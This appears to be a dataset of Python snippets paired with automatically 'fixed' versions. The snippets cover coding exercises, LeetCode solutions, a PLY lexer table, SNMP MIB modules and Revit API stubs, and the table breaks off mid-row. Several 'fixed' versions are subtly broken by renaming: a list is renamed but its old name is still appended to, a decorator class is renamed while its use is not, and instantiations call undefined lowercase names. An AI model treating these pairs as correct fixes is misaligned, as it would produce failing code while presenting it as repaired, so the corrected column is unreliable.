content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
"""
This file is part of WSQL-SDK
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS F... | """
This file is part of WSQL-SDK
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS F... |
tour_stops = input()
original_stops = tour_stops
command = input()
while command != 'Travel':
current_action = command.split(':')
action = current_action[0]
if action == 'Add Stop':
index = int(current_action[1])
new_stop = current_action[2]
if 0 <= index <= len(tour_stops):
... | tour_stops = input()
original_stops = tour_stops
command = input()
while command != 'Travel':
current_action = command.split(':')
action = current_action[0]
if action == 'Add Stop':
index = int(current_action[1])
new_stop = current_action[2]
if 0 <= index <= len(tour_stops):
... |
Y = []
filepath = 'newdatay.csv'
with open(filepath) as fp:
line = fp.readline()
cnt = 1
while line:
print("Line {}: {}".format(cnt, line.strip()))
Y.append(float(line.strip()))
line = fp.readline()
cnt += 1
print (Y)
| y = []
filepath = 'newdatay.csv'
with open(filepath) as fp:
line = fp.readline()
cnt = 1
while line:
print('Line {}: {}'.format(cnt, line.strip()))
Y.append(float(line.strip()))
line = fp.readline()
cnt += 1
print(Y) |
# lextab.py. This file automatically created by PLY (version 3.11). Don't edit!
_tabversion = '3.10'
_lextokens = set(('AFTER', 'AND', 'ATTRIBUTE', 'BBOX', 'BEFORE', 'BETWEEN', 'BEYOND', 'COMMA', 'CONTAINS', 'CROSSES', 'DISJOINT', 'DIVIDE', 'DURATION', 'DURING', 'DWITHIN', 'ENVELOPE', 'EQ', 'EQUALS', 'FLOAT', 'GE'... | _tabversion = '3.10'
_lextokens = set(('AFTER', 'AND', 'ATTRIBUTE', 'BBOX', 'BEFORE', 'BETWEEN', 'BEYOND', 'COMMA', 'CONTAINS', 'CROSSES', 'DISJOINT', 'DIVIDE', 'DURATION', 'DURING', 'DWITHIN', 'ENVELOPE', 'EQ', 'EQUALS', 'FLOAT', 'GE', 'GEOMETRY', 'GT', 'ILIKE', 'IN', 'INTEGER', 'INTERSECTS', 'IS', 'LBRACKET', 'LE', '... |
# AUTOGENERATED! DO NOT EDIT! File to edit: 00_core.ipynb (unless otherwise specified).
__all__ = ['kir']
# Cell
def kir(x):
" this is practice session"
return x/2 | __all__ = ['kir']
def kir(x):
""" this is practice session"""
return x / 2 |
## Non-idiomatic file reading statement
# No.1
def n13():
f = open('file.txt')
a = f.read()
f.close()
# No.2
def n14():
f = open(path, "rb")
result = do_something_with(f)
f.close()
# No.3
def n15():
f = open('file.ext')
try:
contents = f.read()
finally:
f.close()
# ... | def n13():
f = open('file.txt')
a = f.read()
f.close()
def n14():
f = open(path, 'rb')
result = do_something_with(f)
f.close()
def n15():
f = open('file.ext')
try:
contents = f.read()
finally:
f.close()
def n16():
file = open('welcome.txt')
file.close()
de... |
def centuryFromYear(year):
""" Given a year, return the century it is in. -> int """
iter = year//100 + 1
sec = 0
for i in list(range(iter)):
if (sec+100 >= year):
return i+1
else:
sec += 100
| def century_from_year(year):
""" Given a year, return the century it is in. -> int """
iter = year // 100 + 1
sec = 0
for i in list(range(iter)):
if sec + 100 >= year:
return i + 1
else:
sec += 100 |
END = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m" | end = '\x1b[0m'
bold = '\x1b[1m'
red = '\x1b[91m'
green = '\x1b[92m'
yellow = '\x1b[93m'
blue = '\x1b[94m' |
junk_drawer = [3, 4]
# Using the list provided, add a pen, a scrap paper, a 7.3 and a True element
junk_drawer.append('pen')
junk_drawer.append('scrap paper')
junk_drawer.append(7.3)
junk_drawer.append(True)
# What's the length of the list now?
# Save it in an object named drawer_length
drawer_length = len(junk_d... | junk_drawer = [3, 4]
junk_drawer.append('pen')
junk_drawer.append('scrap paper')
junk_drawer.append(7.3)
junk_drawer.append(True)
drawer_length = len(junk_drawer)
cleaned_junk_drawer = junk_drawer[1:4]
junk_set = set(junk_drawer)
junk_set |
#!python3
# https://www.hackerrank.com/challenges/make-it-anagram/
s1 = input()
s2 = input()
letters_s1 = {}
for c in s1:
if c not in letters_s1:
letters_s1[c] = 0
letters_s1[c] += 1
dels = 0
for c in s2:
if c not in letters_s1:
dels += 1
else:
letters_s1[c] -= 1
if l... | s1 = input()
s2 = input()
letters_s1 = {}
for c in s1:
if c not in letters_s1:
letters_s1[c] = 0
letters_s1[c] += 1
dels = 0
for c in s2:
if c not in letters_s1:
dels += 1
else:
letters_s1[c] -= 1
if letters_s1[c] == 0:
del letters_s1[c]
dels += sum(letters_s1... |
# 67. Add Binary
class Solution:
# Bit Manipulation
def addBinary(self, a: str, b: str) -> str:
x, y = int(a, 2), int(b, 2)
while y:
ans = x ^ y
carry = (x & y) << 1
x, y = ans, carry
| class Solution:
def add_binary(self, a: str, b: str) -> str:
(x, y) = (int(a, 2), int(b, 2))
while y:
ans = x ^ y
carry = (x & y) << 1
(x, y) = (ans, carry) |
"""Kata url: https://www.codewars.com/kata/5467e4d82edf8bbf40000155."""
def descending_order(num: int) -> int:
return int(''.join(sorted(str(num), reverse=True)))
| """Kata url: https://www.codewars.com/kata/5467e4d82edf8bbf40000155."""
def descending_order(num: int) -> int:
return int(''.join(sorted(str(num), reverse=True))) |
###################### Code By - ORASHAR #########################
###################### Age check fro child, teen or adult #########################
try:
n = int(input("Enter the number: "))
if n < 10:
print("child")
elif n <= 18:
print("teenager")
else:
prin... | try:
n = int(input('Enter the number: '))
if n < 10:
print('child')
elif n <= 18:
print('teenager')
else:
print('adult')
except:
print('Invalid input!') |
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def zigzagLevelOrder(self, root):
cur_st = []
next_st = []
data = []
left2right = 0
... | class Solution(object):
def zigzag_level_order(self, root):
cur_st = []
next_st = []
data = []
left2right = 0
if root:
cur_st.append(root)
while cur_st:
cur_data = []
while cur_st:
node = cur_st.pop()
... |
#
# PySNMP MIB module Dell-rldot1q-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Dell-rldot1q-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 18:43:09 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar ... | (integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, value_size_constraint, constraints_union, value_range_constraint, single_value_constraint) ... |
#!/usr/bin/env python3
class Dir:
"""
kwargs:
parent parent node DirEnt ref
url node list api url
"""
def __init__(self, **kwargs):
self._parent = kwargs.get('parent', False)
self._url = kwargs.get('url', False)
@staticmethod
def printlist(filelist):
... | class Dir:
"""
kwargs:
parent parent node DirEnt ref
url node list api url
"""
def __init__(self, **kwargs):
self._parent = kwargs.get('parent', False)
self._url = kwargs.get('url', False)
@staticmethod
def printlist(filelist):
pass
@property
... |
CSI = '\x1b['
OSC = '\x1b]'
BEL = '\a'
def sequence(letter, fields=1, default=[]):
def _sequence(*values):
output = list(values)
if fields >= 0 and len(output) > fields:
raise ValueError('Invalid number of fields, got %d expected %d' %
(len(output), fields))
wh... | csi = '\x1b['
osc = '\x1b]'
bel = '\x07'
def sequence(letter, fields=1, default=[]):
def _sequence(*values):
output = list(values)
if fields >= 0 and len(output) > fields:
raise value_error('Invalid number of fields, got %d expected %d' % (len(output), fields))
while len(output... |
""" Sort Array with three types of elements: You are given three types of elements in the array and you have to
sort them accordingly"""
"""Solution"""
def segregate_elements_three(arr) -> list:
i = 0
j = len(arr)-1
mid = 0
while mid <= j:
if arr[mid] == 0:
arr[i], arr[mid] =... | """ Sort Array with three types of elements: You are given three types of elements in the array and you have to
sort them accordingly"""
'Solution'
def segregate_elements_three(arr) -> list:
i = 0
j = len(arr) - 1
mid = 0
while mid <= j:
if arr[mid] == 0:
(arr[i], arr[mid]) = (a... |
n = int(input())
c = 0
for i in range (1, n):
temp = input().split()
temp[0] = int(temp[0])
temp[1] = int(temp[1])
if temp[0] == temp[1] - 1:
c += 1
print (c) | n = int(input())
c = 0
for i in range(1, n):
temp = input().split()
temp[0] = int(temp[0])
temp[1] = int(temp[1])
if temp[0] == temp[1] - 1:
c += 1
print(c) |
def getPaginatedParamValues(request):
pagesizemax = 500
offset = request.args.get('offset')
if offset is None:
offset = 0
else:
offset = int(offset)
pagesize = request.args.get('pagesize')
if pagesize is None:
pagesize = 100
else:
pagesize = int(pagesize)
if pagesize > pagesizemax:
... | def get_paginated_param_values(request):
pagesizemax = 500
offset = request.args.get('offset')
if offset is None:
offset = 0
else:
offset = int(offset)
pagesize = request.args.get('pagesize')
if pagesize is None:
pagesize = 100
else:
pagesize = int(pagesize)
... |
class Solution:
def isIsomorphic(self, s, t):
if len(s) != len(t): # isomorphic strings must be same length
return False
d = {}
h = {}
for i in range(0, len(s)):
x = s[i]
y = t[i]
if x not in d and y not in h: # Both chars have NOT been seen before (NOT in hash table)
d[x] = [i] # store... | class Solution:
def is_isomorphic(self, s, t):
if len(s) != len(t):
return False
d = {}
h = {}
for i in range(0, len(s)):
x = s[i]
y = t[i]
if x not in d and y not in h:
d[x] = [i]
h[y] = [i]
... |
x=int(input("enter the starting of range"))
y=int(input("enter the end of range"))
for num in range(x,y):
if num>=0:
print(num, end=" ")
| x = int(input('enter the starting of range'))
y = int(input('enter the end of range'))
for num in range(x, y):
if num >= 0:
print(num, end=' ') |
class PointVariables:
def __init__(self):
self.LE = "9999999.0"
self.CE = "9999999.0"
self.HAE = "9999999.0"
self.LON = "0"
self.LAT = "0" | class Pointvariables:
def __init__(self):
self.LE = '9999999.0'
self.CE = '9999999.0'
self.HAE = '9999999.0'
self.LON = '0'
self.LAT = '0' |
"""
Packages custom Andon exceptions.
"""
class AndonAppException(Exception):
"""
Generic catch-all exception when a request to Andon fails.
"""
pass
class AndonBadRequestException(AndonAppException):
"""
Generic exception when a request to Andon fails because there's something
wrong with ... | """
Packages custom Andon exceptions.
"""
class Andonappexception(Exception):
"""
Generic catch-all exception when a request to Andon fails.
"""
pass
class Andonbadrequestexception(AndonAppException):
"""
Generic exception when a request to Andon fails because there's something
wrong with ... |
class MyDecorator:
def __init__(self, function):
self.function = function
def __call__(self):
print("before the function is called.")
self.function()
print("after the function is called.")
@MyDecorator
def function():
print("Howtoautomate.in.th")
... | class Mydecorator:
def __init__(self, function):
self.function = function
def __call__(self):
print('before the function is called.')
self.function()
print('after the function is called.')
@MyDecorator
def function():
print('Howtoautomate.in.th')
if __name__ == '__main__':... |
def binSearch( arr, left, right, x):
if right >= left:
mid = left + ( right-left ) / 2
# If the element is present at the middle itself
if arr[mid] == x:
return mid
# If the element is smaller than mid,then it can only be present in the le... | def bin_search(arr, left, right, x):
if right >= left:
mid = left + (right - left) / 2
if arr[mid] == x:
return mid
if arr[mid] > x:
return bin_search(arr, left, mid - 1, x)
return bin_search(arr, mid + 1, right, x)
return -1
def exponential_search(arr, n... |
"""
Make plotting nice and consistent
"""
# mpl.rcParams.update({
# 'axes.spines.left': True,
# 'axes.spines.bottom': True,
# 'axes.spines.top': False,
# 'axes.spines.right': False,
# 'legend.frameon': False,
# 'figure.subplot.wspace': .01,
# 'figure.subplot.hspace': .01,
# 'figure.figsi... | """
Make plotting nice and consistent
""" |
n,k=[int(x) for x in input().split(" ")]
arr=list(map(int,input().rstrip().split()))
z=[]
arr=sorted(arr)
arr=arr[::-1]
for i in range(len(arr)//k+1):
if len(arr)>=k:
z.append(arr[0:k])
a=arr[0:k]
for j in a:
arr.remove(j)
else:
z.append(arr)
if len(z[-1]... | (n, k) = [int(x) for x in input().split(' ')]
arr = list(map(int, input().rstrip().split()))
z = []
arr = sorted(arr)
arr = arr[::-1]
for i in range(len(arr) // k + 1):
if len(arr) >= k:
z.append(arr[0:k])
a = arr[0:k]
for j in a:
arr.remove(j)
else:
z.append(arr)
if ... |
def solution(A, B):
answer = 0
A.sort()
B.sort(reverse=True)
for i, j in zip(A, B):
answer += i*j
return answer
| def solution(A, B):
answer = 0
A.sort()
B.sort(reverse=True)
for (i, j) in zip(A, B):
answer += i * j
return answer |
# In python numbers (int, float) are the same
print(5)
print(6.58)
# Calculation is the same how other languages
print(5.8 + 6)
print((8 + 1) * 10)
| print(5)
print(6.58)
print(5.8 + 6)
print((8 + 1) * 10) |
class LCCS:
def __init__(self, Ls=[8, 16, 32, 64, 128, 256, 512], step=1):
self.Ls = Ls
self.step = step
self.name = 'lccs'
def for_param(self, distance):
for l in self.Ls:
yield '-L %d --step 1'%l
class LCCS_MP:
def __init__(self, Ls=[8, 16, 32, 64, 128, 256,... | class Lccs:
def __init__(self, Ls=[8, 16, 32, 64, 128, 256, 512], step=1):
self.Ls = Ls
self.step = step
self.name = 'lccs'
def for_param(self, distance):
for l in self.Ls:
yield ('-L %d --step 1' % l)
class Lccs_Mp:
def __init__(self, Ls=[8, 16, 32, 64, 128, ... |
a,b,c,d,e=map(int,input().split(" "))
bl=False
x=a
while(a>0):
# print(b,d)
# print(bl)
if(b==d):
bl=True
break
b+=1
d-=1
if(b==d):
bl=True
break
if(b>x):
b=1
if(d<1):
d=x
if(b==d):
bl=True
break
a-=1
if(bl==Fals... | (a, b, c, d, e) = map(int, input().split(' '))
bl = False
x = a
while a > 0:
if b == d:
bl = True
break
b += 1
d -= 1
if b == d:
bl = True
break
if b > x:
b = 1
if d < 1:
d = x
if b == d:
bl = True
break
a -= 1
if bl == Fals... |
"""Constants for the ELV USB-WDE1 integration."""
DOMAIN = "elv_usb_wde"
DEFAULT_DEVICE = "/dev/ttyUSB0"
DEFAULT_SPEED = 9600
| """Constants for the ELV USB-WDE1 integration."""
domain = 'elv_usb_wde'
default_device = '/dev/ttyUSB0'
default_speed = 9600 |
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Script: solution.py
# @Author: Pradip Patil
# @Contact: @pradip__patil
# @Created: 2018-02-10 20:47:08
# @Last Modified By: Pradip Patil
# @Last Modified: 2018-02-10 20:48:49
# @Description: https://www.hackerrank.com/challenges/py-hello-world/problem
if __name__ == '... | if __name__ == '__main__':
print('Hello, World!') |
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Blazars at low frequencies"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"* The bulk velocity is $ v $.\n",
"* The bulk Lorentz factor is $$ \\gamma = \\frac{1}{\\sqrt{1 - \\beta^{2}}} $$ where ... | {'cells': [{'cell_type': 'markdown', 'metadata': {}, 'source': ['# Blazars at low frequencies']}, {'cell_type': 'markdown', 'metadata': {}, 'source': ['* The bulk velocity is $ v $.\n', '* The bulk Lorentz factor is $$ \\gamma = \\frac{1}{\\sqrt{1 - \\beta^{2}}} $$ where $ \\beta = \\frac{v}{c} $.\n', '* The angle of t... |
#
# PySNMP MIB module DSLAM-UPC-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/DSLAM-UPC-MIB
# Produced by pysmi-0.3.4 at Wed May 1 12:54:39 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 201... | (octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, value_size_constraint, constraints_union, value_range_constraint, single_value_constraint) ... |
# -*- coding: utf-8 -*-
"""
bluebuttonuser
FILE: __init__.py
Created: 11/24/15 12:12 AM
"""
__author__ = 'Mark Scrimshire:@ekivemark'
| """
bluebuttonuser
FILE: __init__.py
Created: 11/24/15 12:12 AM
"""
__author__ = 'Mark Scrimshire:@ekivemark' |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Oct 5 12:29:53 2019
@author: sodatab
MITx: 6.00.1x
"""
"""
02-02 Paying Debt off in a Year - Fixed Rate
---------------------------------------------
Now write a program that calculates the minimum fixed monthly payment needed in order pay off a cred... | """
Created on Sat Oct 5 12:29:53 2019
@author: sodatab
MITx: 6.00.1x
"""
'\n02-02 Paying Debt off in a Year - Fixed Rate\n---------------------------------------------\nNow write a program that calculates the minimum fixed monthly payment needed in order pay off a credit card balance within 12 months. By a fixed mo... |
# Copyright 2015-2016 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | class Nwaexception(Exception):
"""Raised when there is an error in Nwa. """
def __init__(self, http_status, errmsg, orgexc=None):
super(NwaException, self).__init__()
self.http_status = http_status
self.errmsg = errmsg
self.orgexc = orgexc
def __str__(self):
return ... |
m=input("enter the string:\t")
if m.isdigit():
print("the given string is numeric")
else:
print("the given string is not numeric")
| m = input('enter the string:\t')
if m.isdigit():
print('the given string is numeric')
else:
print('the given string is not numeric') |
class Solution:
def isScramble(self, s1, s2):
l1, l2 = len(s1), len(s2)
if l1 != l2:
return False
dp = [[[False] * (l1 + 1) for _ in range(l1)] for _ in range(l1)]
for l in range(1, l1 + 1):
for i in range(l1 - l + 1):
for j in range(l1 - l + 1... | class Solution:
def is_scramble(self, s1, s2):
(l1, l2) = (len(s1), len(s2))
if l1 != l2:
return False
dp = [[[False] * (l1 + 1) for _ in range(l1)] for _ in range(l1)]
for l in range(1, l1 + 1):
for i in range(l1 - l + 1):
for j in range(l1 -... |
#!/usr/local/bin/python3
ORDERS = {
'N': lambda s, w, a: (s, (w[0] + a, w[1])),
'S': lambda s, w, a: (s, (w[0] - a, w[1])),
'E': lambda s, w, a: (s, (w[0], w[1] + a)),
'W': lambda s, w, a: (s, (w[0], w[1] - a)),
'F': lambda s, w, a: ((s[0] + a * w[0], s[1] + a * w[1]), w),
'L': lambda s, w, a: ... | orders = {'N': lambda s, w, a: (s, (w[0] + a, w[1])), 'S': lambda s, w, a: (s, (w[0] - a, w[1])), 'E': lambda s, w, a: (s, (w[0], w[1] + a)), 'W': lambda s, w, a: (s, (w[0], w[1] - a)), 'F': lambda s, w, a: ((s[0] + a * w[0], s[1] + a * w[1]), w), 'L': lambda s, w, a: (s, rotate(w, -a)), 'R': lambda s, w, a: (s, rotate... |
class Environment:
def evaluate(self, phenotype):
assert False, "'evaluate' must be implemented"
if __name__ == '__main__':
# a test for evaluate
flag = False
try:
Environment().evaluate('phenotype')
except AssertionError:
flag = True
assert flag, "NG in 'envi... | class Environment:
def evaluate(self, phenotype):
assert False, "'evaluate' must be implemented"
if __name__ == '__main__':
flag = False
try:
environment().evaluate('phenotype')
except AssertionError:
flag = True
assert flag, "NG in 'environment.py'" |
class Tires:
def __init__(self, size: int):
self.size = size
self.pressure = 0
def get_pressure(self) -> int:
return self.pressure
def pump(self, psi: int):
self.pressure = psi
class Engine:
def __init__(self, fuel_type: str):
self.fuel_type = fuel_type
... | class Tires:
def __init__(self, size: int):
self.size = size
self.pressure = 0
def get_pressure(self) -> int:
return self.pressure
def pump(self, psi: int):
self.pressure = psi
class Engine:
def __init__(self, fuel_type: str):
self.fuel_type = fuel_type
... |
#! python
'''
a program that displays a list of lists in a well formatted tabular structure
'''
tableData = [
['apples', 'oranges', 'cherries', 'banana'],
['Alice', 'Bob', 'Carol', 'David'],
['dogs', 'cats', 'moose', 'goose']
]
def printTable(entries: list) -> None:
colWidths = [0] * len(entries)
# loop ... | """
a program that displays a list of lists in a well formatted tabular structure
"""
table_data = [['apples', 'oranges', 'cherries', 'banana'], ['Alice', 'Bob', 'Carol', 'David'], ['dogs', 'cats', 'moose', 'goose']]
def print_table(entries: list) -> None:
col_widths = [0] * len(entries)
for row_index in range... |
with open("hightemp.txt") as f:
pre, city = [], []
for line in f.read().split('\n')[:-1]:
pre_i, city_i, _, _ = line.split()
pre.append(pre_i)
city.append(city_i)
with open("col1.txt", 'w') as f1:
f1.write('\n'.join(pre))
with open("col2.txt", 'w') as f2:
f2.write... | with open('hightemp.txt') as f:
(pre, city) = ([], [])
for line in f.read().split('\n')[:-1]:
(pre_i, city_i, _, _) = line.split()
pre.append(pre_i)
city.append(city_i)
with open('col1.txt', 'w') as f1:
f1.write('\n'.join(pre))
with open('col2.txt', 'w') as f2:
f2... |
class DetachFromCentralOption(Enum,IComparable,IFormattable,IConvertible):
"""
Options for workset detachment behavior.
enum DetachFromCentralOption,values: ClearTransmittedSaveAsNewCentral (3),DetachAndDiscardWorksets (2),DetachAndPreserveWorksets (1),DoNotDetach (0)
"""
def __eq__(self,*args):
""" x... | class Detachfromcentraloption(Enum, IComparable, IFormattable, IConvertible):
"""
Options for workset detachment behavior.
enum DetachFromCentralOption,values: ClearTransmittedSaveAsNewCentral (3),DetachAndDiscardWorksets (2),DetachAndPreserveWorksets (1),DoNotDetach (0)
"""
def __eq__(self, *args):
... |
#
# PySNMP MIB module CIENA-CES-RADIUS-CLIENT-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CIENA-CES-RADIUS-CLIENT-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:31:56 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python versio... | (object_identifier, octet_string, integer) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'OctetString', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, single_value_constraint, value_size_constraint, value_range_constraint, constraints_union) ... |
with open('/dev/stdin/') as f:
f.readline()
for l in f:
print(l, end='')
| with open('/dev/stdin/') as f:
f.readline()
for l in f:
print(l, end='') |
# coding: utf8
# Author: Wing Yung Chan (~wy)
# Date: 2017
# Distinct Powers
# Find the size of the set S
# For all a^b fo 2<=a<=100 and 2<=b<=100
# S = {s = a^b | a,b in 2..100}
def problem29():
powers = set()
for a in range(2,101):
for b in range(2,101):
powers.add(pow(a,b))
re... | def problem29():
powers = set()
for a in range(2, 101):
for b in range(2, 101):
powers.add(pow(a, b))
return len(powers) |
# ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: reflect.py
#
# Tests: mesh - 3D curvilinear, single domain,
# 3D rectilinear, single domain.
# 3D unstructured, single domain.
# p... | open_database(silo_data_path('rect2d.silo'))
atts = reflect_attributes()
add_plot('Pseudocolor', 'd')
add_operator('Reflect')
atts.reflections = (1, 0, 1, 0, 0, 0, 0, 0)
set_operator_options(atts)
draw_plots()
test('ops_refl01')
delete_all_plots()
add_plot('Mesh', 'quadmesh2d')
add_plot('FilledBoundary', 'mat1')
set_ac... |
# Let's refactor star.py into an almost-Thompson algorithm. The idea:
# represent a regex with tree nodes augmented with a 'chain' link that
# can be cyclic. The nodes plus the chains form the Thompson NFA
# graph, but a node can be labeled with 'star' (as well as Thompson's
# 'literal' and 'either' nodes), and we deri... | def search(re, chars):
return run(re(accept), chars)
def run(start, chars):
if accepts(start):
return True
states = set([start])
for ch in chars:
states = set(sum((after(ch, state, accept) for state in states), []))
if any(map(accepts, states)):
return True
retur... |
coordinates_E0E1E1 = ((126, 75),
(127, 71), (127, 72), (127, 73), (127, 74), (127, 76), (128, 67), (128, 69), (128, 70), (128, 77), (128, 86), (128, 103), (128, 104), (129, 67), (129, 71), (129, 72), (129, 73), (129, 74), (129, 75), (129, 77), (129, 86), (130, 67), (130, 69), (130, 70), (130, 71), (130, 72), (130, 73... | coordinates_e0_e1_e1 = ((126, 75), (127, 71), (127, 72), (127, 73), (127, 74), (127, 76), (128, 67), (128, 69), (128, 70), (128, 77), (128, 86), (128, 103), (128, 104), (129, 67), (129, 71), (129, 72), (129, 73), (129, 74), (129, 75), (129, 77), (129, 86), (130, 67), (130, 69), (130, 70), (130, 71), (130, 72), (130, 73... |
{
'targets': [
{
'target_name': 'cpu_features',
'type': 'static_library',
'cflags': [ '-O3' ],
'include_dirs': [
'include',
'include/internal',
],
'sources': [
'include/cpu_features_cache_info.h',
'include/cpu_features_macros.h',
# uti... | {'targets': [{'target_name': 'cpu_features', 'type': 'static_library', 'cflags': ['-O3'], 'include_dirs': ['include', 'include/internal'], 'sources': ['include/cpu_features_cache_info.h', 'include/cpu_features_macros.h', 'include/internal/bit_utils.h', 'include/internal/filesystem.h', 'include/internal/stack_line_reade... |
n = int(input())
r = 0
l = n - 1
right_diagonal = 0
left_diagonal = 0
for x in range(n):
line = input()
numbers = list(
map(
int,
line.split()
)
)
right_diagonal += numbers[r]
left_diagonal += numbers[l]
r += 1
l -= 1
print(
abs(
rig... | n = int(input())
r = 0
l = n - 1
right_diagonal = 0
left_diagonal = 0
for x in range(n):
line = input()
numbers = list(map(int, line.split()))
right_diagonal += numbers[r]
left_diagonal += numbers[l]
r += 1
l -= 1
print(abs(right_diagonal - left_diagonal)) |
class Animal:
@staticmethod
def eat():
return "eating..."
class Dog(Animal): # Single Inheritance
@staticmethod
def bark():
return "barking..."
a = Animal()
print(a.eat())
dog = Dog()
print(dog.eat())
print(dog.bark())
| class Animal:
@staticmethod
def eat():
return 'eating...'
class Dog(Animal):
@staticmethod
def bark():
return 'barking...'
a = animal()
print(a.eat())
dog = dog()
print(dog.eat())
print(dog.bark()) |
#!/usr/bin/env python
#
# ----------------------------------------------------------------------
#
# Brad T. Aagaard, U.S. Geological Survey
# Charles A. Williams, GNS Science
# Matthew G. Knepley, University of Chicago
#
# This code was developed as part of the Computational Infrastructure
# for Geodynamics (http://ge... | __all__ = ['BruneSlipFn', 'ConstRateSlipFn', 'EqKinSrc', 'Fault', 'FaultCohesive', 'FaultCohesiveKin', 'FaultCohesiveDyn', 'SlipTimeFn', 'SingleRupture', 'StepSlipFn'] |
class SlackException(Exception):
pass
class SlackConnectionError(SlackException):
pass
class SlackReadError(SlackException):
pass
| class Slackexception(Exception):
pass
class Slackconnectionerror(SlackException):
pass
class Slackreaderror(SlackException):
pass |
# Summing numbers
def summer(nums):
total = 0
numbers = nums.split(" ")
for num in numbers:
total += int(num)
return total
print(summer(input("Enter nums: ")))
| def summer(nums):
total = 0
numbers = nums.split(' ')
for num in numbers:
total += int(num)
return total
print(summer(input('Enter nums: '))) |
"""Some examples of how to add comments to Python code."""
# This is a comment
# and also like this
"""You can add comments like this to your code"""
"""You can do
this for multi-line comments
as well"""
"""
or like this style if you prefer
"""
def print_function(my_string):
'''You can use triple quoted ones... | """Some examples of how to add comments to Python code."""
'You can add comments like this to your code'
'You can do\nthis for multi-line comments \nas well'
'\nor like this style if you prefer\n'
def print_function(my_string):
"""You can use triple quoted ones here - these are called docstrings
and should pre... |
def check_data_continuity(df, main_column, precision):
"""
Check data continuity and return a dataframe with the filtered values
Keyword arguments:
df -- a pandas.DataFrame object that stores the data
main_column -- the column index by which the data will be filtered (unique
values, us... | def check_data_continuity(df, main_column, precision):
"""
Check data continuity and return a dataframe with the filtered values
Keyword arguments:
df -- a pandas.DataFrame object that stores the data
main_column -- the column index by which the data will be filtered (unique
values, usu... |
def getcard():
print('please enter card number')
card=str(input()).split(' ')
return card
def luhn(card):
reverse=''
temp=''
for z in card:
reverse=z+reverse
total=0
for x in range(0, len(reverse)):
if x==0 or x%2==0:
temp=temp+reverse[x]
... | def getcard():
print('please enter card number')
card = str(input()).split(' ')
return card
def luhn(card):
reverse = ''
temp = ''
for z in card:
reverse = z + reverse
total = 0
for x in range(0, len(reverse)):
if x == 0 or x % 2 == 0:
temp = temp + reverse[x... |
HTBClass = """\
tc class add dev {interface} parent {parent} classid {handle} \
htb rate {rate}{units} ceil {ceil}{units}\
"""
| htb_class = 'tc class add dev {interface} parent {parent} classid {handle} htb rate {rate}{units} ceil {ceil}{units}' |
# -*- coding: utf-8 -*-
__author__ = 'Jordan Woerndle'
__email__ = 'jordan52@gmail.com'
__version__ = '0.1.0'
| __author__ = 'Jordan Woerndle'
__email__ = 'jordan52@gmail.com'
__version__ = '0.1.0' |
def loadDataSet():
dataMat = []
labelMat = []
fr = open('testSet.txt')
for line in fr.readLines():
lineArr = line.strip().split()
dataMat.append([1, 0, ]) | def load_data_set():
data_mat = []
label_mat = []
fr = open('testSet.txt')
for line in fr.readLines():
line_arr = line.strip().split()
dataMat.append([1, 0]) |
print('\n')
print(f'The __name__ of main_test.py is: {__name__}')
print('\n')
def print_function():
print('\n')
print(f'FROM FUNCTION: The __name__ of main_test.py is: {__name__}')
print('\n')
def some_function():
print('I AM SOME FUNCTION')
if __name__ == '__main__':
print_function() | print('\n')
print(f'The __name__ of main_test.py is: {__name__}')
print('\n')
def print_function():
print('\n')
print(f'FROM FUNCTION: The __name__ of main_test.py is: {__name__}')
print('\n')
def some_function():
print('I AM SOME FUNCTION')
if __name__ == '__main__':
print_function() |
n = input()
def mul(n):
if len(n)==1:
return n[0]
return mul(n[1:])*n[0]
def fac(n):
if n==1:
return 1
return fac(n-1)*n
def ap(h,n):
if len(n)==0:
print(h)
for k in sorted(set(n)):
t = list(n)
t.remove(k)
ap(h+k,t)
print(fac(len(n))//mul([fac(n... | n = input()
def mul(n):
if len(n) == 1:
return n[0]
return mul(n[1:]) * n[0]
def fac(n):
if n == 1:
return 1
